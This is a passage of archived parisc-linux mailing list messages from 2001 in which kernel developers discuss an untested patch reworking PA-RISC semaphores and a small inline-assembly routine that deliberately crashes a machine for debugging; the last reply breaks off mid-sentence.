	for <parisc-linux@puffin.external.hp.com>; Sat, 13 Jan 2001 01:15:06 -0700
Original-Received: (qmail 29561 invoked by uid 15267); 13 Jan 2001 08:18:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29549 invoked from network); 13 Jan 2001 08:18:37 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 13 Jan 2001 08:18:37 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14HLtT-0005f3-00; Sat, 13 Jan 2001 08:18:35 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <20010105173422.B14195@parcelfarce.linux.theplanet.co.uk>; from matthew@wil.cx on Fri, Jan 05, 2001 at 05:34:22PM +0000
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9158


ok, bug found: i wasn't reenabling irqs if it had to sleep.  this patch
should fix that bug, but obviously there may be more.  Please someone
test this, I don't have access to any PA-RISC machines here in Sydney.
It's chockablock with debugging printk's, obviously i'll take those
out before committing this.

Index: arch/parisc/kernel/process.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/process.c,v
retrieving revision 1.26
diff -u -p -r1.26 process.c
--- process.c	2000/12/21 12:27:28	1.26
+++ process.c	2001/01/13 08:07:04
@@ -40,8 +40,6 @@
 #include <asm/gsc.h>
 #include <asm/processor.h>
 
-spinlock_t semaphore_wake_lock = SPIN_LOCK_UNLOCKED;
-
 #ifdef __LP64__
 /* The 64-bit code should work equally well in 32-bit land but I didn't
  * want to take the time to confirm that.  -PB
Index: arch/parisc/kernel/semaphore.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/semaphore.c,v
retrieving revision 1.3
diff -u -p -r1.3 semaphore.c
--- semaphore.c	2000/12/31 01:42:06	1.3
+++ semaphore.c	2001/01/13 08:07:05
@@ -1,15 +1,9 @@
 /*
- * Just taken from alpha implementation.
- * This can't work well, perhaps.
+ * Semaphore implementation Copyright (c) 2001 Matthew Wilcox
  */
-/*
- *  Generic semaphore code. Buyer beware. Do your own
- * specific changes in <asm/semaphore-helper.h>
- */
 
 #include <linux/sched.h>
-#include <asm/semaphore-helper.h>
-#include <asm/atomic.h>	/* for xchg() definitions */
+#include <linux/spinlock.h>
 
 /*
  * Semaphores are implemented using a two-way counter:
@@ -43,198 +37,124 @@
  */
 void __up(struct semaphore *sem)
 {
-	wake_one_more(sem);
 	wake_up(&sem->wait);
 }
-
-/*
- * Perform the "down" function.  Return zero for semaphore acquired,
- * return negative for signalled out of the function.
- *
- * If called from __down, the return is ignored and the wait loop is
- * not interruptible.  This means that a task waiting on a semaphore
- * using "down()" cannot be killed until someone does an "up()" on
- * the semaphore.
- *
- * If called from __down_interruptible, the return value gets checked
- * upon return.  If the return value is negative then the task continues
- * with the negative value in the return register (it can be tested by
- * the caller).
- *
- * Either form may be used in conjunction with "up()".
- *
- */
-
-
-#define DOWN_HEAD(task_state)						\
-									\
-									\
-	current->state = (task_state);					\
-	add_wait_queue(&sem->wait, &wait);				\
-									\
-	/*								\
-	 * Ok, we're set up.  sem->count is known to be less than zero	\
-	 * so we must wait.						\
-	 *								\
-	 * We can let go the lock for purposes of waiting.		\
-	 * We re-acquire it after awaking so as to protect		\
-	 * all semaphore operations.					\
-	 *								\
-	 * If "up()" is called before we call waking_non_zero() then	\
-	 * we will catch it right away.  If it is called later then	\
-	 * we will have to go through a wakeup cycle to catch it.	\
-	 *								\
-	 * Multiple waiters contend for the semaphore lock to see	\
-	 * who gets to gate through and who has to wait some more.	\
-	 */								\
-	for (;;) {
-
-#define DOWN_TAIL(task_state)			\
-		current->state = (task_state);	\
-	}					\
-	current->state = TASK_RUNNING;		\
-	remove_wait_queue(&sem->wait, &wait);
 
-void __down(struct semaphore * sem)
+void __down(struct semaphore * sem, int *irq_flags)
 {
+	int flags = *irq_flags;
 	DECLARE_WAITQUEUE(wait, current);
 
-	DOWN_HEAD(TASK_UNINTERRUPTIBLE)
-	if (waking_non_zero(sem))
-		break;
-	schedule();
-	DOWN_TAIL(TASK_UNINTERRUPTIBLE)
-}
+	/* protected by the sentry still -- use unlocked version */
+	__add_wait_queue_tail(&sem->wait, &wait);
+	spin_unlock_irqrestore(&sem->sentry, flags);
 
-int __down_interruptible(struct semaphore * sem)
-{
-	DECLARE_WAITQUEUE(wait, current);
-	int ret = 0;
-
-	DOWN_HEAD(TASK_INTERRUPTIBLE)
-
-	ret = waking_non_zero_interruptible(sem, current);
-	if (ret)
-	{
-		if (ret == 1)
-			/* ret != 0 only if we get interrupted -arca */
-			ret = 0;
-		break;
-	}
-	schedule();
-	DOWN_TAIL(TASK_INTERRUPTIBLE)
-	return ret;
-}
-
-int __down_trylock(struct semaphore * sem)
-{
-	return waking_non_zero_trylock(sem);
-}
-
-
-/* Wait for the lock to become unbiased.  Readers
- * are non-exclusive. =)
- */
-void down_read_failed(struct rw_semaphore *sem)
-{
-	DECLARE_WAITQUEUE(wait, current);
-
-	__up_read(sem);	/* this takes care of granting the lock */
-
-	add_wait_queue(&sem->wait, &wait);
-
-	while (atomic_read(&sem->count) < 0) {
-		set_task_state(current, TASK_UNINTERRUPTIBLE);
-		if (atomic_read(&sem->count) >= 0)
+	for(;;) {
+		set_task_state(current, TASK_INTERRUPTIBLE | TASK_EXCLUSIVE);
+		/* we can _read_ this without the sentry */
+		if (sem->count > 0)
 			break;
 		schedule();
 	}
 
-	remove_wait_queue(&sem->wait, &wait);
+	spin_lock_irqsave(&sem->sentry, flags);
+	__remove_wait_queue(&sem->wait, &wait);
 	current->state = TASK_RUNNING;
+
+	*irq_flags = flags;
 }
 
-void down_read_failed_biased(struct rw_semaphore *sem)
+int __down_interruptible(struct semaphore * sem, int *irq_flags)
 {
+	int flags = *irq_flags;
+	int ret = 0;
 	DECLARE_WAITQUEUE(wait, current);
 
-	add_wait_queue(&sem->wait, &wait);	/* put ourselves at the head of the list */
-
-	for (;;) {
-		if (sem->read_bias_granted && xchg(&sem->read_bias_granted, 0))
+	/* protected by the sentry still -- use unlocked version */
+	__add_wait_queue_tail(&sem->wait, &wait);
+	spin_unlock_irqrestore(&sem->sentry, flags);
+
+	for(;;) {
+		set_task_state(current, TASK_INTERRUPTIBLE | TASK_EXCLUSIVE);
+		/* we can _read_ this without the sentry */
+		if (sem->count > 0)
 			break;
-		set_task_state(current, TASK_UNINTERRUPTIBLE);
-                if (!sem->read_bias_granted)
-			schedule();
+		if (signal_pending(current)) {
+			ret = -EINTR;
+			break;
+		}
+		schedule();
 	}
 
-	remove_wait_queue(&sem->wait, &wait);
+	spin_lock_irqsave(&sem->sentry, flags);
+	__remove_wait_queue(&sem->wait, &wait);
 	current->state = TASK_RUNNING;
+
+	*irq_flags = flags;
+	return ret;
 }
 
+/* Read/write semaphores below this point */
 
-/* Wait for the lock to become unbiased. Since we're
- * a writer, we'll make ourselves exclusive.
- */
-void down_write_failed(struct rw_semaphore *sem)
+/* A writer already holds this lock, so we have to sleep. */
+void __down_read_failed(struct rw_semaphore *sem)
 {
 	DECLARE_WAITQUEUE(wait, current);
-
-	__up_write(sem);	/* this takes care of granting the lock */
 
-	add_wait_queue_exclusive(&sem->wait, &wait);
+	/* protected by the sentry still -- use unlocked version */
+	__add_wait_queue(&sem->readers, &wait);
+	spin_unlock(&sem->sentry);
 
-	while (atomic_read(&sem->count) < 0) {
-		set_task_state(current, TASK_UNINTERRUPTIBLE | TASK_EXCLUSIVE);
-		if (atomic_read(&sem->count) >= 0)
-			break;	/* we must attempt to aquire or bias the lock */
+	for(;;) {
+		set_task_state(current, TASK_UNINTERRUPTIBLE);
+		/* we can _read_ this without the sentry */
+		if (sem->rw_count > 0)
+			break;
 		schedule();
 	}
+	spin_lock(&sem->sentry);
 
-	remove_wait_queue(&sem->wait, &wait);
+	__remove_wait_queue(&sem->readers, &wait);
 	current->state = TASK_RUNNING;
 }
 
-void down_write_failed_biased(struct rw_semaphore *sem)
+/* Either a writer or some readers already hold this lock. */
+void __down_write_failed(struct rw_semaphore *sem)
 {
 	DECLARE_WAITQUEUE(wait, current);
 
-	add_wait_queue_exclusive(&sem->write_bias_wait, &wait);	/* put ourselves at the end of the list */
+	__add_wait_queue_tail(&sem->writers, &wait);
+	spin_unlock(&sem->sentry);
 
-	for (;;) {
-		if (sem->write_bias_granted && xchg(&sem->write_bias_granted, 0))
-			break;
+	for(;;) {
 		set_task_state(current, TASK_UNINTERRUPTIBLE | TASK_EXCLUSIVE);
-		if (!sem->write_bias_granted)
-			schedule();
+		/* we can _read_ this without the sentry */
+		if (sem->rw_count >= 0)
+			break;
+		schedule();
 	}
 
-	remove_wait_queue(&sem->write_bias_wait, &wait);
+	spin_lock(&sem->sentry);
+	__remove_wait_queue(&sem->writers, &wait);
 	current->state = TASK_RUNNING;
-
-	/* if the lock is currently unbiased, awaken the sleepers
-	 * FIXME: this wakes up the readers early in a bit of a
-	 * stampede -> bad!
-	 */
-	if (atomic_read(&sem->count) >= 0)
-		wake_up(&sem->wait);
 }
-
 
-/* Called when someone has done an up that transitioned from
- * negative to non-negative, meaning that the lock has been
- * granted to whomever owned the bias.
+/* Called when a writer has raised the semaphore.  There may still be
+ * other writers waiting, but the readers have priority now.
  */
 void rwsem_wake_readers(struct rw_semaphore *sem)
 {
-	if (xchg(&sem->read_bias_granted, 1))
-		BUG();
-	wake_up(&sem->wait);
+	/* We only reset the BIAS if no writers are waiting. */
+	if (!waitqueue_active(&sem->writers))
+		sem->rw_count += RW_LOCK_BIAS;
+
+	wake_up(&sem->readers);
 }
 
+/* Called when the last reader has raised the semaphore.  Other readers
+ * may be blocked until this point, but the writer gets priority now.
+ */
 void rwsem_wake_writer(struct rw_semaphore *sem)
 {
-	if (xchg(&sem->write_bias_granted, 1))
-		BUG();
-	wake_up(&sem->write_bias_wait);
+	wake_up(&sem->writers);
 }
Index: include/asm-parisc/semaphore.h
===================================================================
RCS file: /home/cvs/parisc/linux/include/asm-parisc/semaphore.h,v
retrieving revision 1.5
diff -u -p -r1.5 semaphore.h
--- semaphore.h	2000/08/11 23:40:13	1.5
+++ semaphore.h	2001/01/13 07:58:02
@@ -1,34 +1,28 @@
 #ifndef _ASM_PARISC_SEMAPHORE_H
 #define _ASM_PARISC_SEMAPHORE_H
 
-#include <linux/linkage.h>
-
 /*
  * SMP- and interrupt-safe semaphores.
  *
  * (C) Copyright 1996 Linus Torvalds
  *
- * SuperH verison by Niibe Yutaka
+ * PA-RISC version Copyright (c) 2001 Matthew Wilcox
  *
  */
 
-/* if you're going to use out-of-line slowpaths, use .section .lock.text,
- * not .text.lock or the -ffunction-sections monster will eat you alive
- */
-
 #include <linux/spinlock.h>
+#include <linux/wait.h>
 
 #include <asm/system.h>
-#include <asm/atomic.h>
 
 struct semaphore {
-	atomic_t count;
-	int waking;
+	spinlock_t	sentry;
+	int		count;
 	wait_queue_head_t wait;
 #if WAITQUEUE_DEBUG
 	long __magic;
 #endif
-};
+} ;
 
 #if WAITQUEUE_DEBUG
 # define __SEM_DEBUG_INIT(name) \
@@ -38,7 +32,7 @@ struct semaphore {
 #endif
 
 #define __SEMAPHORE_INITIALIZER(name,count) \
-{ ATOMIC_INIT(count), 0, __WAIT_QUEUE_HEAD_INITIALIZER((name).wait) \
+{ SPIN_LOCK_UNLOCKED, count, __WAIT_QUEUE_HEAD_INITIALIZER((name).wait) \
 	__SEM_DEBUG_INIT(name) }
 
 #define __MUTEX_INITIALIZER(name) \
@@ -52,18 +46,7 @@ struct semaphore {
 
 extern inline void sema_init (struct semaphore *sem, int val)
 {
-/*
- *	*sem = (struct semaphore)__SEMAPHORE_INITIALIZER((*sem),val);
- *
- * i'd rather use the more flexible initialization above, but sadly
- * GCC 2.7.2.3 emits a bogus warning. EGCS doesnt. Oh well.
- */
-	atomic_set(&sem->count, val);
-	sem->waking = 0;
-	init_waitqueue_head(&sem->wait);
-#if WAITQUEUE_DEBUG
-	sem->__magic = (long)&sem->__magic;
-#endif
+	*sem = (struct semaphore)__SEMAPHORE_INITIALIZER((*sem),val);
 }
 
 static inline void init_MUTEX (struct semaphore *sem)
@@ -76,50 +59,59 @@ static inline void init_MUTEX_LOCKED (st
 	sema_init(sem, 0);
 }
 
-asmlinkage void __down_failed(void /* special register calling convention */);
-asmlinkage int  __down_failed_interruptible(void  /* params in registers */);
-asmlinkage int  __down_failed_trylock(void  /* params in registers */);
-asmlinkage void __up_wakeup(void /* special register calling convention */);
-
-asmlinkage void __down(struct semaphore * sem);
-asmlinkage int  __down_interruptible(struct semaphore * sem);
-asmlinkage int  __down_trylock(struct semaphore * sem);
+asmlinkage void __down(struct semaphore * sem, int *irqflags);
+asmlinkage int  __down_interruptible(struct semaphore * sem, int *irqflags);
 asmlinkage void __up(struct semaphore * sem);
 
-extern spinlock_t semaphore_wake_lock;
+/* Sempahores can be `tried' from irq context.  So we have to disable
+ * interrupts while we're messing with the semaphore.  Sorry.
+ */
 
 extern __inline__ void down(struct semaphore * sem)
 {
+	int flags;
+	printk("down     %p\n", sem);
 #if WAITQUEUE_DEBUG
 	CHECK_MAGIC(sem->__magic);
 #endif
 
-	if (atomic_dec_return(&sem->count) < 0)
-		__down(sem);
+	spin_lock_irqsave(&sem->sentry, flags);
+	if (--sem->count < 0)
+		__down(sem, &flags);
+	spin_unlock_irqrestore(&sem->sentry, flags);
 }
 
 extern __inline__ int down_interruptible(struct semaphore * sem)
 {
+	int flags;
 	int ret = 0;
+	printk("down_int %p\n", sem);
 #if WAITQUEUE_DEBUG
 	CHECK_MAGIC(sem->__magic);
 #endif
 
-	if (atomic_dec_return(&sem->count) < 0)
-		ret = __down_interruptible(sem);
+	spin_lock_irqsave(&sem->sentry, flags);
+	if (--sem->count < 0)
+		ret = __down_interruptible(sem, &flags);
+	spin_unlock_irqrestore(&sem->sentry, flags);
 	return ret;
 }
 
+/* May not sleep. */
 extern __inline__ int down_trylock(struct semaphore * sem)
 {
-	int ret = 0;
+	int flags, count;
+	printk("down_try %p\n", sem);
 #if WAITQUEUE_DEBUG
 	CHECK_MAGIC(sem->__magic);
 #endif
 
-	if (atomic_dec_return(&sem->count) < 0)
-		ret = __down_trylock(sem);
-	return ret;
+	spin_lock_irqsave(&sem->sentry, flags);
+	count = sem->count - 1;
+	if (count >= 0)
+		sem->count = count;
+	spin_unlock_irqrestore(&sem->sentry, flags);
+	return (count >= 0);
 }
 
 /*
@@ -128,11 +120,16 @@ extern __inline__ int down_trylock(struc
  */
 extern __inline__ void up(struct semaphore * sem)
 {
+	int flags;
+	printk("up       %p\n", sem);
 #if WAITQUEUE_DEBUG
 	CHECK_MAGIC(sem->__magic);
 #endif
-	if (atomic_inc_return(&sem->count) <= 0)
+	spin_lock_irqsave(&sem->sentry, flags);
+	if (++sem->count <= 0)
 		__up(sem);
+	spin_unlock_irqrestore(&sem->sentry, flags);
+	printk("end_up   %p\n", sem);
 }
 
 /* rw mutexes (should that be mutices? =) -- throw rw
@@ -146,9 +143,8 @@ extern __inline__ void up(struct semapho
  * (in which case it goes to sleep).
  *
  * The value 0x01000000 supports up to 128 processors and
- * lots of processes.  BIAS must be chosen such that subl'ing
- * BIAS once per CPU will result in the long remaining
- * negative.
+ * lots of processes.  BIAS must be chosen such that subtracting
+ * BIAS twice will result in the value remaining negative.
  *
  * In terms of fairness, this should result in the lock
  * flopping back and forth between readers and writers
@@ -156,18 +152,19 @@ extern __inline__ void up(struct semapho
  *
  *              -ben
  */
+/* NOTE: There is currently no provision for attempting to acquire
+ * rw_sems from interrupt context.  These routines will require more
+ * work if this is to be allowed.
+ */
 struct rw_semaphore {
-        atomic_t                count;
-        volatile unsigned char  write_bias_granted;
-        volatile unsigned char  read_bias_granted;
-        volatile unsigned char  pad1;
-        volatile unsigned char  pad2;
-        wait_queue_head_t       wait;
-        wait_queue_head_t       write_bias_wait;
-#if WAITQUEUE_DEBUG
-        long                    __magic;
-        atomic_t                readers;
-        atomic_t                writers;
+	spinlock_t		sentry;
+	volatile int		rw_count;
+        wait_queue_head_t       writers;
+        wait_queue_head_t       readers;
+#if WAITQUEUE_DEBUG
+        long			__magic;
+        volatile int		n_readers;
+        volatile int		n_writers;
 #endif
 };
 
@@ -180,8 +177,8 @@ struct rw_semaphore {
 #define RW_LOCK_BIAS 0x01000000
 
 #define __RWSEM_INITIALIZER(name,count) \
-{ ATOMIC_INIT(count), 0, 0, 0, 0, __WAIT_QUEUE_HEAD_INITIALIZER((name).wait), \
-        __WAIT_QUEUE_HEAD_INITIALIZER((name).write_bias_wait) \
+{ SPIN_LOCK_UNLOCKED, count, __WAIT_QUEUE_HEAD_INITIALIZER((name).writers), \
+        __WAIT_QUEUE_HEAD_INITIALIZER((name).readers) \
         __SEM_DEBUG_INIT(name) __RWSEM_DEBUG_INIT }
 
 #define __DECLARE_RWSEM_GENERIC(name,count) \
@@ -193,109 +190,92 @@ struct rw_semaphore {
 
 extern inline void init_rwsem(struct rw_semaphore *sem)
 {
-        atomic_set(&sem->count, RW_LOCK_BIAS);
-        sem->read_bias_granted = 0;
-        sem->write_bias_granted = 0;
-        init_waitqueue_head(&sem->wait);
-        init_waitqueue_head(&sem->write_bias_wait);
-#if WAITQUEUE_DEBUG
-        sem->__magic = (long)&sem->__magic;
-        atomic_set(&sem->readers, 0);
-        atomic_set(&sem->writers, 0);
-#endif
+	*sem = (struct rw_semaphore) __RWSEM_INITIALIZER(*sem, RW_LOCK_BIAS);
 }
 
-#ifdef FIXME_WILLY_FIXME_FOR_REAL_THIS_TIME
-extern struct rw_semaphore *__build_read_lock(struct rw_semaphore *sem, const char *what);
-extern struct rw_semaphore *__build_write_lock(struct rw_semaphore *sem, const char *what);
-#endif
-
 /* we use FASTCALL convention for the helpers */
-extern struct rw_semaphore *FASTCALL(__down_read_failed(struct rw_semaphore *sem));
-extern struct rw_semaphore *FASTCALL(__down_write_failed(struct rw_semaphore *sem));
-extern struct rw_semaphore *FASTCALL(__rwsem_wake(struct rw_semaphore *sem));
+extern void FASTCALL(__down_read_failed(struct rw_semaphore *sem));
+extern void FASTCALL(__down_write_failed(struct rw_semaphore *sem));
+extern void FASTCALL(rwsem_wake_readers(struct rw_semaphore *sem));
+extern void FASTCALL(rwsem_wake_writer(struct rw_semaphore *sem));
 
 extern inline void down_read(struct rw_semaphore *sem)
 {
+	int count;
+	printk("down_read %p\n", sem);
+	spin_lock(&sem->sentry);
 #if WAITQUEUE_DEBUG
         if (sem->__magic != (long)&sem->__magic)
                 BUG();
-#endif
-#ifdef FIXME_WILLY_FIXME_FOR_REAL_THIS_TIME
-        __build_read_lock(sem, "__down_read_failed");
 #endif
+	count = sem->rw_count - 1;
+	if (count < 0)
+		__down_read_failed(sem);
+	sem->rw_count = count;
 #if WAITQUEUE_DEBUG
-        if (sem->write_bias_granted)
+        if (sem->n_writers)
                 BUG();
-        if (atomic_read(&sem->writers))
-                BUG();
-        atomic_inc(&sem->readers);
+        sem->n_readers++;
 #endif
+	spin_unlock(&sem->sentry);
 }
 
 extern inline void down_write(struct rw_semaphore *sem)
 {
+	int count;
+	printk("down_write %p\n", sem);
+	spin_lock(&sem->sentry);
 #if WAITQUEUE_DEBUG
         if (sem->__magic != (long)&sem->__magic)
                 BUG();
-#endif
-#ifdef FIXME_WILLY_FIXME_FOR_REAL_THIS_TIME
-        __build_write_lock(sem, "__down_write_failed");
 #endif
+	count = sem->rw_count - RW_LOCK_BIAS;
+	if (count != 0)
+		__down_write_failed(sem);
 #if WAITQUEUE_DEBUG
-        if (atomic_read(&sem->writers))
+        if (sem->n_writers)
                 BUG();
-        if (atomic_read(&sem->readers))
+        if (sem->n_readers)
                 BUG();
-        if (sem->read_bias_granted)
-                BUG();
-        if (sem->write_bias_granted)
-                BUG();
-        atomic_inc(&sem->writers);
+        sem->n_writers = 1;
 #endif
-}
-
-/* When a reader does a release, the only significant
- * case is when there was a writer waiting, and we've
- * bumped the count to 0: we must wake the writer up.
- */
-extern inline void __up_read(struct rw_semaphore *sem)
-{
-}
-
-/* releasing the writer is easy -- just release it and
- * wake up any sleepers.
- */
-extern inline void __up_write(struct rw_semaphore *sem)
-{
+	spin_unlock(&sem->sentry);
 }
 
 extern inline void up_read(struct rw_semaphore *sem)
 {
-#if WAITQUEUE_DEBUG
-        if (sem->write_bias_granted)
-                BUG();
-        if (atomic_read(&sem->writers))
-                BUG();
-        atomic_dec(&sem->readers);
-#endif
-        __up_read(sem);
+	int count;
+	printk("up_read %p\n", sem);
+	spin_lock(&sem->sentry);
+#if WAITQUEUE_DEBUG
+        if (sem->n_writers)
+                BUG();
+        sem->n_readers--;
+#endif
+	count = sem->rw_count++;
+	if (count == 0)
+		rwsem_wake_writer(sem);
+	spin_unlock(&sem->sentry);
 }
 
 extern inline void up_write(struct rw_semaphore *sem)
 {
-#if WAITQUEUE_DEBUG
-        if (sem->read_bias_granted)
-                BUG();
-        if (sem->write_bias_granted)
-                BUG();
-        if (atomic_read(&sem->readers))
-                BUG();
-        if (atomic_read(&sem->writers) != 1)
-                BUG();
-        atomic_dec(&sem->writers);
-#endif
-        __up_write(sem);
+	int count;
+	printk("up_write %p\n", sem);
+	spin_lock(&sem->sentry);
+#if WAITQUEUE_DEBUG
+        if (sem->n_readers)
+                BUG();
+        if (sem->n_writers != 1)
+                BUG();
+        sem->n_writers = 0;
+#endif
+	count = sem->rw_count;
+	if (count < 0)
+		rwsem_wake_readers(sem);
+	else
+		sem->rw_count = RW_LOCK_BIAS;
+	spin_unlock(&sem->sentry);
 }
 
 #endif /* _ASM_PARISC_SEMAPHORE_H */
Index: include/asm-parisc/spinlock.h
===================================================================
RCS file: /home/cvs/parisc/linux/include/asm-parisc/spinlock.h,v
retrieving revision 1.5
diff -u -p -r1.5 spinlock.h
--- spinlock.h	2000/11/08 20:36:55	1.5
+++ spinlock.h	2001/01/13 07:58:02
@@ -3,13 +3,10 @@
 
 #include <asm/system.h>
 
-/* if you're going to use out-of-line slowpaths, use .section .lock.text,
- * not .text.lock or the -ffunction-sections monster will eat you alive
+/* Note that PA-RISC has to use `1' to mean unlocked and `0' to mean locked
+ * since it only has load-and-zero.
  */
 
-/* we seem to be the only architecture that uses 0 to mean locked - but we
- * have to.  prumpf */
-
 #undef SPIN_LOCK_UNLOCKED
 #define SPIN_LOCK_UNLOCKED (spinlock_t) { 1 }
 
@@ -17,8 +14,15 @@
 
 #define spin_unlock_wait(x)	do { barrier(); } while(((volatile spinlock_t *)(x))->lock == 1)
 
+#if 1
+#define spin_lock(x) do { \
+	while (__ldcw (&(x)->lock) == 0) \
+		while (((volatile int)(x)->lock) == 0) ; } while (0)
+
+#else
 #define spin_lock(x) \
 	do { while(__ldcw(&(x)->lock) == 0); } while(0)
+#endif
 	
 #define spin_unlock(x) \
 	do { (x)->lock = 1; } while(0)
Index: kernel/ksyms.c
===================================================================
RCS file: /home/cvs/parisc/linux/kernel/ksyms.c,v
retrieving revision 1.6
diff -u -p -r1.6 ksyms.c
--- ksyms.c	2000/11/10 21:45:04	1.6
+++ ksyms.c	2001/01/13 07:58:03
@@ -496,7 +496,9 @@ EXPORT_SYMBOL(is_bad_inode);
 EXPORT_SYMBOL(event);
 EXPORT_SYMBOL(__down);
 EXPORT_SYMBOL(__down_interruptible);
+#ifndef CONFIG_PARISC
 EXPORT_SYMBOL(__down_trylock);
+#endif
 EXPORT_SYMBOL(__up);
 EXPORT_SYMBOL(brw_page);
 

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:15:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Oopser
Date: Sat, 13 Jan 2001 09:08:38 -0800
Lines: 49
Approved: news@gmane.org
Message-ID: <200101131708.JAA08678@milano.cup.hp.com>
References: <20010113073408.B16185@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619519 10224 80.91.229.3 (22 Nov 2014 01:25:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:19 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: grundler@cup.hp.com  Sat Jan 13 10:03:24 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA24469
	for <parisc-linux@puffin.external.hp.com>; Sat, 13 Jan 2001 10:03:23 -0700
Original-Received: (qmail 5219 invoked by uid 15267); 13 Jan 2001 17:07:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5211 invoked from network); 13 Jan 2001 17:07:01 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 13 Jan 2001 17:07:01 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id E684A43A; Sat, 13 Jan 2001 09:06:59 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id JAA08678;
	Sat, 13 Jan 2001 09:08:45 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Sat, 13 Jan 2001 07:34:08 PST."
             <20010113073408.B16185@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:9159

Matthew Wilcox wrote:
> 
> I'm interested in having a useful debugging tool written by someone who
> knows the processor really well.  What I basically want to be able to
> do is call oopser(10 * HZ) and have the machine reliably crash in 10
> seconds time (and do a register dump).  that would at least tell me
> where the kernel's got to.

static inline void oopser(unsigned long t)
{
	unsigned long flags;
	unsigned long addr=(unsigned long) -8L;

	mdelay((t * 1000)/HZ);

	/* Oopsy doopsy willy fall down and go boom :^) */
        asm volatile(
		"       rsm     2,%0
			ldwx    0(%2),%1"
		: "=&r" (flags), "=r" (t) : "r" (addr) );
}

mdelay watches CR16 and doesn't need (or even want) interrupts
enabled. If you want a register dump to console, call panic
or steal^H^H^H^H^Hborrow code from panic.
Otherwise it'll be in the HPMC portion of the PIM dump.
If it's truly inlined, GR2 and PC will be preserved.

I'm pretty sure -8L (reset vector?) won't work - but anything in
0xF-space (I/O space) which isn't ever used by platform devices
should work. Offhand I can't pick an address for all platforms.

grant

> it'd be most useful if it worked with interrupts disabled, but even
> something which required interrupts to be enabled would be of some use.
> 
> -- 
> Revolutions do not require corporate support.
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:15:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Oopser
Date: Sat, 13 Jan 2001 18:13:26 +0000
Lines: 13
Approved: news@gmane.org
Message-ID: <20010113181326.C7463@parcelfarce.linux.theplanet.co.uk>
References: <20010113073408.B16185@parcelfarce.linux.theplanet.co.uk> <200101131708.JAA08678@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619519 10234 80.91.229.3 (22 Nov 2014 01:25:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:19 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: willy@www.linux.org.uk  Sat Jan 13 11:49:34 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA25437
	for <parisc-linux@puffin.external.hp.com>; Sat, 13 Jan 2001 11:49:34 -0700
Original-Received: (qmail 27042 invoked by uid 15267); 13 Jan 2001 18:53:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27026 invoked from network); 13 Jan 2001 18:53:05 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 13 Jan 2001 18:53:05 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14HVB8-0002Ef-00; Sat, 13 Jan 2001 18:13:26 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <200101131708.JAA08678@milano.cup.hp.com>; from grundler@cup.hp.com on Sat, Jan 13, 2001 at 09:08:38AM -0800
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9160

On Sat, Jan 13, 2001 at 09:08:38AM -0800, Grant Grundler wrote:
> > I'm interested in having a useful debugging tool written by someone who
> > knows the processor really well.  What I basically want to be able to
> > do is call oopser(10 * HZ) and have the machine reliably crash in 10
> > seconds time (and do a register dump).  that would at least tell me
> > where the kernel's got to.

Sorry, I wasn't precise enough.  I want the rest of the kernel to continue
